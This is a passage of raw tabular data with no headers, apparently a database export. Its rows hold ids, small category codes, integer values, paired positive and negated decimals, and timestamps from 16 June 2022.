10:57:04.983724+00 +18889,2,8125,7.89204103,-7.89204103,2022-06-16 11:14:19.550922+00 +18901,7,8042,12.92346416,-12.92346416,2022-06-16 11:14:23.933488+00 +25040,4,9151,5.9700701,-5.9700701,2022-06-16 11:46:11.297672+00 +17620,2,7935,9.113569348,-9.113569348,2022-06-16 11:07:05.69924+00 +25041,4,9087,5.950629374,-5.950629374,2022-06-16 11:46:11.298902+00 +25042,4,9183,8.375266972,-8.375266972,2022-06-16 11:46:11.299808+00 +25043,4,9119,8.344682012,-8.344682012,2022-06-16 11:46:11.300642+00 +16120,2,7615,10.15507352,-10.15507352,2022-06-16 10:57:05.420947+00 +45813,1,12462,2.906825524,-2.906825524,2022-06-16 13:28:14.639034+00 +26997,4,9291,12.89551767,-12.89551767,2022-06-16 11:52:23.772571+00 +45814,1,12446,6.137444413,-6.137444413,2022-06-16 13:28:14.639968+00 +18959,6,8112,2.287033888,-2.287033888,2022-06-16 11:14:31.034481+00 +16129,2,7531,8.660730475,-8.660730475,2022-06-16 10:57:14.473008+00 +27027,6,9339,5.612722446,-5.612722446,2022-06-16 11:52:26.191572+00 +14912,3,7222,20.37328921,-20.37328921,2022-06-16 10:48:30.67512+00 +14913,3,7286,20.26884467,-20.26884467,2022-06-16 10:48:30.676533+00 +32146,2,10096,1.604829269,0,2022-06-16 12:17:04.520126+00 +14915,1,7296,4.372079404,-4.372079404,2022-06-16 10:48:37.834076+00 +14916,1,7275,5.598540799,-5.598540799,2022-06-16 10:48:43.83008+00 +14917,1,7283,14.06937893,-14.06937893,2022-06-16 10:48:43.833497+00 +14918,1,7259,6.89107665,-6.89107665,2022-06-16 10:48:43.834374+00 +14919,1,7291,5.442887578,-5.442887578,2022-06-16 10:48:43.835257+00 +14920,1,7267,18.08406289,-18.08406289,2022-06-16 10:48:49.834235+00 +14921,1,7251,11.89086845,-11.89086845,2022-06-16 10:48:49.837668+00 +24365,6,9055,12.41274037,-12.41274037,2022-06-16 11:43:10.292729+00 +15149,1,7344,1.919691624,-1.919691624,2022-06-16 10:50:25.833798+00 +15150,1,7360,4.307459657,-4.307459657,2022-06-16 10:50:25.837104+00 +15188,6,7360,6.934709318,-6.934709318,2022-06-16 10:50:51.347843+00 +14926,6,7280,3.282131286,-3.282131286,2022-06-16 10:48:52.818922+00 +14927,1,7357,9.160147662,-9.160147662,2022-06-16 10:48:52.820985+00 +14928,1,7341,9.123338123,-9.123338123,2022-06-16 10:48:52.822157+00 +26391,2,9326,7.386003729,-7.386003729,2022-06-16 11:51:04.899454+00 +18076,2,7999,8.952250774,-8.952250774,2022-06-16 11:09:05.443608+00 +26392,2,9311,8.845082922,-8.845082922,2022-06-16 11:51:04.903432+00 +30114,3,9838,14.60278256,-14.60278256,2022-06-16 12:06:05.742645+00 +14933,6,7296,6.958035792,-6.958035792,2022-06-16 10:48:53.038344+00 +14934,2,7306,10.5405293,-10.5405293,2022-06-16 10:48:54.802425+00 +14935,1,7089,12.56871222,-12.56871222,2022-06-16 10:48:58.81662+00 +14936,1,7081,12.33494008,-12.33494008,2022-06-16 10:48:58.819909+00 +14937,1,7065,12.43574003,-12.43574003,2022-06-16 10:48:58.820705+00 +14938,1,7097,12.288124,-12.288124,2022-06-16 10:48:58.821483+00 +14939,1,7359,9.569239051,-9.569239051,2022-06-16 10:49:01.801904+00 +14940,1,7327,8.554288265,-8.554288265,2022-06-16 10:49:01.805159+00 +14941,1,7358,9.734771384,-9.734771384,2022-06-16 10:49:01.80617+00 +14942,1,7350,11.85946411,-11.85946411,2022-06-16 10:49:01.807214+00 +14943,1,7351,12.0406208,-12.0406208,2022-06-16 10:49:01.808033+00 +14944,1,7326,8.911364496,-8.911364496,2022-06-16 10:49:01.808888+00 +52449,2,13568,3.623644931,-3.623644931,2022-06-16 14:05:05.085148+00 +26491,2,9261,6.142368311,-6.142368311,2022-06-16 11:51:14.438699+00 +15371,4,7357,7.359050905,-7.359050905,2022-06-16 10:52:08.432711+00 +15372,4,7421,7.33245758,-7.33245758,2022-06-16 10:52:08.436924+00 +14949,2,7280,2.933160433,-2.933160433,2022-06-16 10:49:04.465867+00 +15373,4,7341,7.277718119,-7.277718119,2022-06-16 10:52:08.438224+00 +15374,4,7405,7.251552813,-7.251552813,2022-06-16 10:52:08.439284+00 +19616,1,8317,6.765187516,-6.765187516,2022-06-16 11:18:10.950102+00 +15403,4,7328,6.890270647,-6.890270647,2022-06-16 10:52:16.822107+00 +14954,2,7296,6.300605534,-6.300605534,2022-06-16 10:49:04.5722+00 +15414,4,7411,12.64686335,-12.64686335,2022-06-16 10:52:19.119646+00 +15415,4,7387,5.988032006,-5.988032006,2022-06-16 10:52:19.121113+00 +15416,4,7403,4.78200472,-4.78200472,2022-06-16 10:52:19.12192+00 +15417,4,7419,4.665770208,-4.665770208,2022-06-16 10:52:19.122787+00 +15418,4,7371,15.51582396,-15.51582396,2022-06-16 10:52:19.123564+00 +14960,2,7350,13.72609974,-13.72609974,2022-06-16 10:49:04.71039+00 +19617,1,8301,6.571283849,-6.571283849,2022-06-16 11:18:10.953442+00 +19651,4,8243,11.3944647,-11.3944647,2022-06-16 11:18:20.249392+00 +18272,3,7999,15.31712871,-15.31712871,2022-06-16 11:10:18.560314+00 +19652,4,8251,3.749400229,-3.749400229,2022-06-16 11:18:20.25086+00 +16933,2,7775,10.09864656,-10.09864656,2022-06-16 11:03:04.80007+00 +14966,2,7351,13.9707416,-13.9707416,2022-06-16 10:49:04.862533+00 +15534,2,7479,13.48432894,-13.48432894,2022-06-16 10:53:05.425285+00 +19653,4,8235,3.83662993,-3.83662993,2022-06-16 11:18:20.251979+00 +19654,4,8219,5.216769974,-5.216769974,2022-06-16 11:18:20.252951+00 +14970,2,7326,10.53728728,-10.53728728,2022-06-16 10:49:04.954184+00 +19655,4,8203,14.29578703,-14.29578703,2022-06-16 11:18:20.253813+00 +19656,4,8083,9.879306849,-9.879306849,2022-06-16 11:18:22.101179+00 +19657,4,8147,9.846484976,-9.846484976,2022-06-16 11:18:22.104565+00 +21305,6,8606,13.43414796,-13.43414796,2022-06-16 11:28:32.791876+00 +15641,4,7488,3.28715963,-3.28715963,2022-06-16 10:54:06.47935+00 +14976,2,7327,10.15368193,-10.15368193,2022-06-16 10:49:05.101403+00 +15642,4,7472,1.435313779,-1.435313779,2022-06-16 10:54:06.483313+00 +30185,6,9747,14.34768578,-14.34768578,2022-06-16 12:06:42.658543+00 +14979,2,7358,11.38087502,-11.38087502,2022-06-16 10:49:05.166522+00 +21347,6,8560,1.72256888,0,2022-06-16 11:28:52.245878+00 +18520,1,7845,18.30257047,-18.30257047,2022-06-16 11:11:55.921972+00 +18521,1,7717,18.2280369,-18.2280369,2022-06-16 11:11:55.925447+00 +15740,6,7551,13.70486956,-13.70486956,2022-06-16 10:54:41.964468+00 +17151,4,7795,11.97260656,-11.97260656,2022-06-16 11:04:19.891525+00 +17152,4,7787,4.332381565,-4.332381565,2022-06-16 11:04:19.895216+00 +17153,4,7771,5.596990558,-5.596990558,2022-06-16 11:04:19.89628+00 +17154,4,7803,4.222796929,-4.222796929,2022-06-16 11:04:19.897144+00 +15795,2,7488,6.220825047,-6.220825047,2022-06-16 10:55:04.576929+00 +17172,6,7870,13.51201212,-13.51201212,2022-06-16 11:04:24.247892+00 +14990,2,7359,11.23506646,-11.23506646,2022-06-16 10:49:05.464072+00 +14991,2,7338,10.92906214,-10.92906214,2022-06-16 10:49:08.896485+00 +14992,1,7256,13.15040551,-13.15040551,2022-06-16 10:49:13.828363+00 +18522,1,7781,18.15375756,-18.15375756,2022-06-16 11:11:55.926831+00 +17180,4,7763,10.24276678,-10.24276678,2022-06-16 11:04:27.555379+00 +52450,2,13529,11.28189322,-11.28189322,2022-06-16 14:05:05.088286+00 +17223,7,7754,12.73606736,-12.73606736,2022-06-16 11:04:55.020564+00 +14997,2,7275,8.896944993,-8.896944993,2022-06-16 10:49:14.448106+00 +37134,3,10923,9.588682871,-9.588682871,2022-06-16 12:43:38.018664+00 +15859,2,7530,10.74058839,-10.74058839,2022-06-16 10:55:16.15041+00 +17239,2,7792,2.392478048,-2.392478048,2022-06-16 11:05:04.479811+00 +45815,1,12400,0.503684785,0,2022-06-16 13:28:14.64074+00 +15002,2,7291,8.701306438,-8.701306438,2022-06-16 10:49:14.569242+00 +37271,6,11069,2.213131638,-2.213131638,2022-06-16 12:44:14.887461+00 +24799,2,9072,1.563168417,0,2022-06-16 11:45:04.440124+00 +17291,2,7863,12.58906617,-12.58906617,2022-06-16 11:05:05.705349+00 +19927,6,8365,5.091403354,-5.091403354,2022-06-16 11:20:14.829509+00 +15007,6,7341,6.293321414,-6.293321414,2022-06-16 10:49:14.958212+00 +45816,1,12478,2.279134553,-2.279134553,2022-06-16 13:28:14.641478+00 +19954,4,8267,14.21045144,-14.21045144,2022-06-16 11:20:19.948081+00 +17345,3,7870,15.89486531,-15.89486531,2022-06-16 11:05:33.255045+00 +19955,4,8283,5.149370431,-5.149370431,2022-06-16 11:20:19.951611+00 +19956,4,8315,3.671581561,-3.671581561,2022-06-16 11:20:19.952482+00 +18706,2,8095,9.833076227,-9.833076227,2022-06-16 11:13:05.078913+00 +18707,2,8110,11.20794406,-11.20794406,2022-06-16 11:13:05.08204+00 +19957,4,8299,3.757124396,-3.757124396,2022-06-16 11:20:19.953342+00 +19958,4,8224,6.474939384,-6.474939384,2022-06-16 11:20:19.954131+00 +42862,6,11888,1.95467717,0,2022-06-16 13:12:04.451629+00 +37478,3,11056,2.639587554,0,2022-06-16 12:45:36.112363+00 +24889,1,9080,9.687994247,-9.687994247,2022-06-16 11:45:29.074585+00 +18771,6,7850,14.08448025,-14.08448025,2022-06-16 11:13:40.723963+00 +24890,1,9056,6.99344363,-6.99344363,2022-06-16 11:45:29.077821+00 +16056,1,7512,12.63395946,-12.63395946,2022-06-16 10:56:34.838509+00 +28500,2,9533,6.166318902,-6.166318902,2022-06-16 11:58:19.521721+00 +17488,2,7853,8.162138869,-8.162138869,2022-06-16 11:06:19.433127+00 +16073,1,7552,4.013104467,-4.013104467,2022-06-16 10:56:52.810157+00 +28539,1,9598,4.975731972,-4.975731972,2022-06-16 11:58:44.162845+00 +16084,2,7552,6.175014754,-6.175014754,2022-06-16 10:57:04.589802+00 +28540,1,9582,6.38308898,-6.38308898,2022-06-16 11:58:44.166314+00 +16090,2,7582,10.38726172,-10.38726172,2022-06-16 10:57:04.739885+00 +16091,2,7598,13.10264516,-13.10264516,2022-06-16 10:57:04.743623+00 +17532,4,7776,6.662161725,-6.662161725,2022-06-16 11:06:38.853121+00 +24314,2,9024,5.220816038,-5.220816038,2022-06-16 11:43:04.568823+00 +15033,3,7031,20.82474031,-20.82474031,2022-06-16 10:49:27.716884+00 +15034,3,7095,20.71847537,-20.71847537,2022-06-16 10:49:27.720135+00 +15035,3,7159,20.61250413,-20.61250413,2022-06-16 10:49:27.720932+00 +15036,3,7223,20.50683494,-20.50683494,2022-06-16 10:49:27.721702+00 +15037,3,7287,20.40147597,-20.40147597,2022-06-16 10:49:27.722539+00 +15038,7,7242,13.25707854,-13.25707854,2022-06-16 10:49:34.001003+00 +15114,4,7360,3.36272636,-3.36272636,2022-06-16 10:50:06.700802+00 +15115,4,7344,1.470615049,-1.470615049,2022-06-16 10:50:06.704369+00 +19428,6,8238,14.86302563,-14.86302563,2022-06-16 11:17:10.177342+00 +26340,6,9301,11.63703698,-11.63703698,2022-06-16 11:50:55.058737+00 +16655,2,7743,9.760093233,-9.760093233,2022-06-16 11:01:05.28116+00 +15044,3,7344,5.03177628,-5.03177628,2022-06-16 10:49:47.686953+00 +36982,6,10939,3.798329736,-3.798329736,2022-06-16 12:42:53.675058+00 +39614,2,11376,1.692846186,0,2022-06-16 12:57:04.764615+00 +52451,2,13530,11.17033636,-11.17033636,2022-06-16 14:05:05.089117+00 +30248,2,9839,6.910268973,-6.910268973,2022-06-16 12:07:05.170941+00 +42612,2,11840,3.809856878,-3.809856878,2022-06-16 13:11:04.918779+00 +15375,4,7454,10.05638109,-10.05638109,2022-06-16 10:52:10.145985+00 +15376,4,7455,9.8771295,-9.8771295,2022-06-16 10:52:10.149242+00 +15377,4,7422,10.47018469,-10.47018469,2022-06-16 10:52:10.15011+00 +15378,4,7487,10.18338465,-10.18338465,2022-06-16 10:52:10.151001+00 +15379,4,7414,12.99231808,-12.99231808,2022-06-16 10:52:10.151824+00 +15380,4,7478,12.93600251,-12.93600251,2022-06-16 10:52:10.152583+00 +15381,4,7415,12.90310922,-12.90310922,2022-06-16 10:52:10.153392+00 +15382,4,7479,12.84747546,-12.84747546,2022-06-16 10:52:10.154177+00 +19618,4,8238,10.11217908,-10.11217908,2022-06-16 11:18:11.335819+00 +19619,4,8302,10.07185831,-10.07185831,2022-06-16 11:18:11.339116+00 +15428,2,7405,9.193324721,-9.193324721,2022-06-16 10:52:19.542567+00 +18273,4,7979,4.091944556,-4.091944556,2022-06-16 11:10:21.838104+00 +18274,4,7987,11.75736766,-11.75736766,2022-06-16 11:10:21.841481+00 +16903,6,7743,13.31683776,-13.31683776,2022-06-16 11:02:47.0663+00 +16904,6,7807,13.24723816,-13.24723816,2022-06-16 11:02:47.069209+00 +18275,4,7947,14.6295714,-14.6295714,2022-06-16 11:10:21.842939+00 +18276,4,7963,5.407103587,-5.407103587,2022-06-16 11:10:21.844053+00 +18277,4,7995,3.969722136,-3.969722136,2022-06-16 11:10:21.844845+00 +19620,4,8303,10.00515947,-10.00515947,2022-06-16 11:18:11.339954+00 +17008,2,7723,8.474627867,-8.474627867,2022-06-16 11:03:14.449083+00 +19621,4,8287,9.135777115,-9.135777115,2022-06-16 11:18:11.340722+00 +19622,4,8318,7.929581458,-7.929581458,2022-06-16 11:18:11.341542+00 +15643,4,7469,7.171624293,-7.171624293,2022-06-16 10:54:09.46936+00 +15644,4,7485,7.208336014,-7.208336014,2022-06-16 10:54:09.472923+00 +18361,2,7984,2.279293943,-2.279293943,2022-06-16 11:11:04.444796+00 +19623,4,8319,7.623269428,-7.623269428,2022-06-16 11:18:11.343179+00 +19658,1,8287,8.303223982,-8.303223982,2022-06-16 11:18:22.951045+00 +19659,1,8309,19.2391192,-19.2391192,2022-06-16 11:18:22.954407+00 +19660,1,8286,8.399270774,-8.399270774,2022-06-16 11:18:22.95524+00 +19661,1,8303,9.093550881,-9.093550881,2022-06-16 11:18:22.956032+00 +19662,1,8302,9.148933917,-9.148933917,2022-06-16 11:18:22.956783+00 +19663,1,8285,11.35647618,-11.35647618,2022-06-16 11:18:22.95755+00 +18523,6,8042,14.29554835,-14.29554835,2022-06-16 11:12:02.607694+00 +48921,2,12973,3.588570061,-3.588570061,2022-06-16 13:46:19.443467+00 +15819,2,7519,10.42983124,-10.42983124,2022-06-16 10:55:05.117937+00 +15820,2,7534,13.30666574,-13.30666574,2022-06-16 10:55:05.123786+00 +15821,2,7535,13.3057091,-13.3057091,2022-06-16 10:55:05.125004+00 +15822,2,7542,13.25953048,-13.25953048,2022-06-16 10:55:05.127534+00 +42703,1,11887,3.706189201,-3.706189201,2022-06-16 13:11:08.571926+00 +42704,1,11903,2.887371551,-2.887371551,2022-06-16 13:11:08.575188+00 +17292,2,7850,10.43808996,-10.43808996,2022-06-16 11:05:14.245037+00 +18580,4,8111,10.69182721,-10.69182721,2022-06-16 11:12:10.551424+00 +18581,4,8094,9.450183126,-9.450183126,2022-06-16 11:12:10.55311+00 +18582,4,8095,9.340409359,-9.340409359,2022-06-16 11:12:10.553932+00 +22914,6,8877,4.19443714,-4.19443714,2022-06-16 11:36:16.093288+00 +17359,3,7856,4.10525676,-4.10525676,2022-06-16 11:05:50.830416+00 +18615,6,8111,15.42789299,-15.42789299,2022-06-16 11:12:17.010896+00 +45817,6,12462,5.324414767,-5.324414767,2022-06-16 13:28:14.659418+00 +19839,3,8319,14.75455146,-14.75455146,2022-06-16 11:19:30.370612+00 +49033,2,13023,8.368539898,-8.368539898,2022-06-16 13:47:05.392387+00 +52452,2,13546,2.934237443,-2.934237443,2022-06-16 14:05:05.089888+00 +23046,2,8816,1.550113179,0,2022-06-16 11:37:04.496984+00 +24835,2,9151,6.393915009,-6.393915009,2022-06-16 11:45:05.260069+00 +42965,6,11859,13.44559536,-13.44559536,2022-06-16 13:12:27.668511+00 +28541,1,9566,7.570384734,-7.570384734,2022-06-16 11:58:44.167303+00 +17462,6,7933,5.708677134,-5.708677134,2022-06-16 11:06:06.714184+00 +28542,1,9567,7.534655715,-7.534655715,2022-06-16 11:58:44.168175+00 +28543,1,9531,3.999221668,-3.999221668,2022-06-16 11:58:44.168992+00 +28544,1,9583,6.390775379,-6.390775379,2022-06-16 11:58:44.169793+00 +18772,2,8106,10.11058859,-10.11058859,2022-06-16 11:13:42.115125+00 +17541,2,7882,9.740855654,-9.740855654,2022-06-16 11:06:47.920125+00 +18785,6,8095,13.74515491,-13.74515491,2022-06-16 11:13:55.169717+00 +21734,6,8653,14.72946341,-14.72946341,2022-06-16 11:30:36.400476+00 +28545,1,9515,4.243424074,-4.243424074,2022-06-16 11:58:44.170638+00 +21784,3,8704,8.664361211,-8.664361211,2022-06-16 11:31:04.968791+00 +17579,2,7918,11.88561337,-11.88561337,2022-06-16 11:07:04.73431+00 +16074,2,7594,10.67898414,-10.67898414,2022-06-16 10:56:54.243907+00 +16079,2,7536,2.852275057,-2.852275057,2022-06-16 10:57:04.469288+00 +28546,1,9599,4.87587424,-4.87587424,2022-06-16 11:58:44.171312+00 +25014,4,9142,11.95530461,-11.95530461,2022-06-16 11:46:07.140182+00 +17596,2,7902,10.22235945,-10.22235945,2022-06-16 11:07:05.113518+00 +16097,2,7583,10.25715062,-10.25715062,2022-06-16 10:57:04.891677+00 +25015,4,9206,11.90723417,-11.90723417,2022-06-16 11:46:07.146198+00 +25016,4,9152,2.290469453,-2.290469453,2022-06-16 11:46:07.148383+00 +18890,4,8123,3.870875732,-3.870875732,2022-06-16 11:14:19.969575+00 +18891,4,8115,11.55469693,-11.55469693,2022-06-16 11:14:19.972819+00 +18892,4,8091,5.309579683,-5.309579683,2022-06-16 11:14:19.973654+00 +16114,2,7614,10.35529482,-10.35529482,2022-06-16 10:57:05.281227+00 +18893,4,8075,14.43314621,-14.43314621,2022-06-16 11:14:19.974512+00 +18894,4,8107,3.938050417,-3.938050417,2022-06-16 11:14:19.975323+00 +25017,4,9136,0.644583165,0,2022-06-16 11:46:07.149739+00 +18905,3,8045,11.09874405,-11.09874405,2022-06-16 11:14:24.827073+00 +25018,4,9198,7.847617965,-7.847617965,2022-06-16 11:46:07.151187+00 +18917,3,8125,11.24379848,-11.24379848,2022-06-16 11:14:26.490802+00 +25019,4,9150,6.15555395,-6.15555395,2022-06-16 11:46:07.152442+00 +28577,6,9515,5.415616994,-5.415616994,2022-06-16 11:58:57.701688+00 +20259,3,8432,2.908270223,-2.908270223,2022-06-16 11:22:24.573385+00 +27056,6,9357,14.13735236,-14.13735236,2022-06-16 11:52:29.578164+00 +16134,2,7547,8.470463153,-8.470463153,2022-06-16 10:57:14.590208+00 +16135,7,7280,9.779032703,-9.779032703,2022-06-16 10:57:19.124613+00 +16136,7,7344,9.669753225,-9.669753225,2022-06-16 10:57:19.128092+00 +16137,7,7408,9.561317336,-9.561317336,2022-06-16 10:57:19.128937+00 +16138,7,7472,9.453697972,-9.453697972,2022-06-16 10:57:19.129772+00 +16139,7,7536,9.34686737,-9.34686737,2022-06-16 10:57:19.130532+00 +16140,7,7600,9.240796989,-9.240796989,2022-06-16 10:57:19.13136+00 +17694,1,7864,11.32561362,-11.32561362,2022-06-16 11:07:34.890369+00 +42990,3,11629,5.889625593,-5.889625593,2022-06-16 13:12:33.617336+00 +23420,7,8874,11.33485535,-11.33485535,2022-06-16 11:38:33.434411+00 +30615,2,9886,7.912521852,-7.912521852,2022-06-16 12:09:04.811111+00 +20334,2,8414,9.63431287,-9.63431287,2022-06-16 11:23:04.708307+00 +37758,4,11049,13.74645887,-13.74645887,2022-06-16 12:47:10.737807+00 +22064,1,8704,2.95738804,-2.95738804,2022-06-16 11:32:34.986466+00 +20991,6,8558,13.64322947,-13.64322947,2022-06-16 11:26:56.035443+00 +20992,6,8559,13.63158489,-13.63158489,2022-06-16 11:26:56.038674+00 +26341,1,9280,2.502301365,-2.502301365,2022-06-16 11:50:56.107049+00 +16151,1,7544,11.70958566,-11.70958566,2022-06-16 10:57:28.835864+00 +26342,1,9264,0.724195465,0,2022-06-16 11:50:56.110829+00 +36983,1,10913,9.353928244,-9.353928244,2022-06-16 12:42:56.444784+00 +36984,1,10937,7.355805515,-7.355805515,2022-06-16 12:42:56.448241+00 +36985,1,10921,7.348446561,-7.348446561,2022-06-16 12:42:56.449081+00 +36986,1,10905,7.427113435,-7.427113435,2022-06-16 12:42:56.449818+00 +30296,6,9854,8.129149711,-8.129149711,2022-06-16 12:07:23.112813+00 +32396,6,10160,1.829907199,0,2022-06-16 12:18:09.626411+00 +52453,2,13553,12.01160757,-12.01160757,2022-06-16 14:05:05.090728+00 +16874,6,7805,5.830759514,-5.830759514,2022-06-16 11:02:31.836644+00 +16911,2,7786,10.51483221,-10.51483221,2022-06-16 11:02:51.854687+00 +18306,6,7966,14.311959,-14.311959,2022-06-16 11:10:39.693152+00 +16958,2,7791,12.30618088,-12.30618088,2022-06-16 11:03:05.459602+00 +18307,6,8030,14.23686589,-14.23686589,2022-06-16 11:10:39.696429+00 +16984,3,7734,19.5569021,-19.5569021,2022-06-16 11:03:12.227892+00 +16985,3,7798,19.45473532,-19.45473532,2022-06-16 11:03:12.231097+00 +16167,6,7582,13.6655868,-13.6655868,2022-06-16 10:57:55.397451+00 +34767,6,10560,4.903737161,-4.903737161,2022-06-16 12:30:17.897946+00 +19784,2,8318,8.358479614,-8.358479614,2022-06-16 11:19:05.284775+00 +22915,1,8832,2.849005585,-2.849005585,2022-06-16 11:36:17.025416+00 +18390,2,8046,11.36742957,-11.36742957,2022-06-16 11:11:04.980579+00 +18391,2,8047,11.32877313,-11.32877313,2022-06-16 11:11:04.984042+00 +22916,1,8816,0.768024872,0,2022-06-16 11:36:17.029875+00 +18413,2,7979,8.159708171,-8.159708171,2022-06-16 11:11:14.43781+00 +52454,2,13598,7.411001353,-7.411001353,2022-06-16 14:05:05.091496+00 +34887,6,10515,13.81023232,-13.81023232,2022-06-16 12:31:12.770236+00 +59885,3,14698,3.957083557,-3.957083557,2022-06-16 14:41:59.475779+00 +28505,3,9403,11.77224464,-11.77224464,2022-06-16 11:58:22.361389+00 +28506,3,9467,11.69103837,-11.69103837,2022-06-16 11:58:22.365206+00 +28507,3,9531,11.61052124,-11.61052124,2022-06-16 11:58:22.366134+00 +21646,6,8686,13.41083289,-13.41083289,2022-06-16 11:30:10.51021+00 +28547,7,9514,10.16375161,-10.16375161,2022-06-16 11:58:46.108233+00 +18576,4,8048,1.040301691,-1.040301691,2022-06-16 11:12:06.983213+00 +18577,4,8064,2.88362751,-2.88362751,2022-06-16 11:12:06.987672+00 +18597,3,8128,9.30142771,-9.30142771,2022-06-16 11:12:15.958084+00 +20060,2,8350,9.623672828,-9.623672828,2022-06-16 11:21:04.900292+00 +63902,1,15196,9.973070421,-9.973070421,2022-06-16 14:56:57.208462+00 +18635,2,8045,7.80464886,-7.80464886,2022-06-16 11:12:19.419064+00 +20080,2,8383,7.913021137,-7.913021137,2022-06-16 11:21:05.341705+00 +16190,3,7542,19.94634583,-19.94634583,2022-06-16 10:57:59.477608+00 +16191,3,7606,19.84281195,-19.84281195,2022-06-16 10:57:59.480948+00 +26963,1,9407,5.151442564,-5.151442564,2022-06-16 11:52:20.1599+00 +18678,2,8048,2.233485875,-2.233485875,2022-06-16 11:13:04.473789+00 +21735,1,8345,10.38016799,-10.38016799,2022-06-16 11:30:41.012202+00 +21736,1,8361,10.25189682,-10.25189682,2022-06-16 11:30:41.015667+00 +16196,3,7543,20.02477444,-20.02477444,2022-06-16 10:57:59.607637+00 +16197,3,7607,19.92074649,-19.92074649,2022-06-16 10:57:59.610952+00 +21737,1,8377,10.23537871,-10.23537871,2022-06-16 11:30:41.016488+00 +21738,1,8369,10.40706053,-10.40706053,2022-06-16 11:30:41.017217+00 +26964,1,9391,6.741934176,-6.741934176,2022-06-16 11:52:20.163377+00 +17463,4,7736,9.614031538,-9.614031538,2022-06-16 11:06:07.703305+00 +21761,2,8640,5.50518824,-5.50518824,2022-06-16 11:31:04.578731+00 +25052,2,9149,6.520707677,-6.520707677,2022-06-16 11:46:19.452597+00 +17511,6,7856,2.66313801,-2.66313801,2022-06-16 11:06:23.935593+00 +18773,7,8106,12.98468652,-12.98468652,2022-06-16 11:13:46.372062+00 +26965,1,9375,7.573783566,-7.573783566,2022-06-16 11:52:20.164274+00 +18798,1,8056,11.13823855,-11.13823855,2022-06-16 11:13:58.920412+00 +26966,1,9343,5.122325339,-5.122325339,2022-06-16 11:52:20.165132+00 +20260,1,8089,10.74959372,-10.74959372,2022-06-16 11:22:25.973017+00 +16210,6,7600,2.973102119,-2.973102119,2022-06-16 10:58:03.546105+00 +20261,1,8121,10.61767704,-10.61767704,2022-06-16 11:22:25.976466+00 +20262,1,8105,10.59992474,-10.59992474,2022-06-16 11:22:25.977362+00 +20263,1,8113,10.77469088,-10.77469088,2022-06-16 11:22:25.978305+00 +20276,6,8429,5.031507993,-5.031507993,2022-06-16 11:22:37.560597+00 +16215,6,7616,6.913413698,-6.913413698,2022-06-16 10:58:03.811355+00 +26967,1,9342,5.269307614,-5.269307614,2022-06-16 11:52:20.165934+00 +26968,1,9339,4.291774577,-4.291774577,2022-06-16 11:52:20.166827+00 +17630,2,7867,8.095618892,-8.095618892,2022-06-16 11:07:14.571721+00 +25163,3,9200,2.638126794,0,2022-06-16 11:46:48.78013+00 +21891,6,8670,13.2929563,-13.2929563,2022-06-16 11:31:47.419939+00 +20348,2,8430,10.14928346,-10.14928346,2022-06-16 11:23:05.022247+00 +30575,6,9917,3.107087767,-3.107087767,2022-06-16 12:08:48.133014+00 +25213,2,9198,7.621904773,-7.621904773,2022-06-16 11:47:04.934387+00 +23374,6,8943,12.27048371,-12.27048371,2022-06-16 11:38:18.337031+00 +60035,2,14765,2.699604356,0,2022-06-16 14:42:24.438779+00 +23421,1,8927,7.82922799,-7.82922799,2022-06-16 11:38:35.04786+00 +20398,1,8216,11.76167865,-11.76167865,2022-06-16 11:23:31.955782+00 +18999,3,8046,18.11927694,-18.11927694,2022-06-16 11:14:46.307599+00 +19000,3,8047,18.3241859,-18.3241859,2022-06-16 11:14:46.310957+00 +19001,3,8111,18.22311467,-18.22311467,2022-06-16 11:14:46.311825+00 +17703,6,7775,14.25865514,-14.25865514,2022-06-16 11:07:37.51444+00 +16232,1,7385,11.8927478,-11.8927478,2022-06-16 10:58:04.818215+00 +16233,1,7417,11.75011223,-11.75011223,2022-06-16 10:58:04.822279+00 +17704,6,7839,14.18373234,-14.18373234,2022-06-16 11:07:37.517822+00 +16235,1,7401,11.72873564,-11.72873564,2022-06-16 10:58:04.8248+00 +17705,6,7903,14.10928176,-14.10928176,2022-06-16 11:07:37.51876+00 +19002,3,8175,18.12252357,-18.12252357,2022-06-16 11:14:46.312878+00 +20399,1,8232,18.59511184,-18.59511184,2022-06-16 11:23:31.959333+00 +21976,3,8766,14.16144386,-14.16144386,2022-06-16 11:32:05.466866+00 +23422,1,8943,7.524608645,-7.524608645,2022-06-16 11:38:35.051177+00 +19022,6,8173,5.218502168,-5.218502168,2022-06-16 11:14:47.750275+00 +19027,6,8189,5.368133305,-5.368133305,2022-06-16 11:14:49.900894+00 +20425,6,8446,11.59798339,-11.59798339,2022-06-16 11:23:40.696712+00 +23423,1,8926,7.895202356,-7.895202356,2022-06-16 11:38:35.052034+00 +23424,1,8958,5.894903719,-5.894903719,2022-06-16 11:38:35.052779+00 +17751,3,7918,18.67464226,-18.67464226,2022-06-16 11:07:55.027719+00 +19046,2,8159,9.922562068,-9.922562068,2022-06-16 11:15:04.692306+00 +23425,1,8942,7.555356853,-7.555356853,2022-06-16 11:38:35.053511+00 +20450,4,8288,6.516114786,-6.516114786,2022-06-16 11:24:00.533948+00 +22065,1,8688,0.77822971,0,2022-06-16 11:32:34.989988+00 +17769,3,7927,19.52411076,-19.52411076,2022-06-16 11:07:55.477307+00 +17770,3,7934,15.82802206,-15.82802206,2022-06-16 11:07:55.480863+00 +25236,4,9080,8.737111867,-8.737111867,2022-06-16 11:47:06.326426+00 +28678,2,9515,6.751157185,-6.751157185,2022-06-16 11:59:14.454342+00 +25258,4,9079,12.29124126,-12.29124126,2022-06-16 11:47:11.898627+00 +17780,3,7935,15.52015773,-15.52015773,2022-06-16 11:07:55.743069+00 +23489,2,8926,8.719431387,-8.719431387,2022-06-16 11:39:05.111039+00 +25259,4,9143,12.24220217,-12.24220217,2022-06-16 11:47:11.899816+00 +19083,2,8123,7.866187233,-7.866187233,2022-06-16 11:15:14.448582+00 +25260,4,9207,12.19342815,-12.19342815,2022-06-16 11:47:11.900578+00 +19088,2,8107,8.015669957,-8.015669957,2022-06-16 11:15:14.568649+00 +16262,4,7600,1.320993496,-1.320993496,2022-06-16 10:58:06.816365+00 +16263,4,7616,3.311228864,-3.311228864,2022-06-16 10:58:06.820421+00 +16264,1,7409,11.91172873,-11.91172873,2022-06-16 10:58:07.809549+00 +16265,1,7595,5.326786747,-5.326786747,2022-06-16 10:58:07.813825+00 +16266,1,7611,5.199674536,-5.199674536,2022-06-16 10:58:07.816922+00 +16267,4,7533,6.891632319,-6.891632319,2022-06-16 10:58:08.949398+00 +16268,4,7597,6.867369569,-6.867369569,2022-06-16 10:58:08.952656+00 +16269,4,7549,7.071315696,-7.071315696,2022-06-16 10:58:08.953523+00 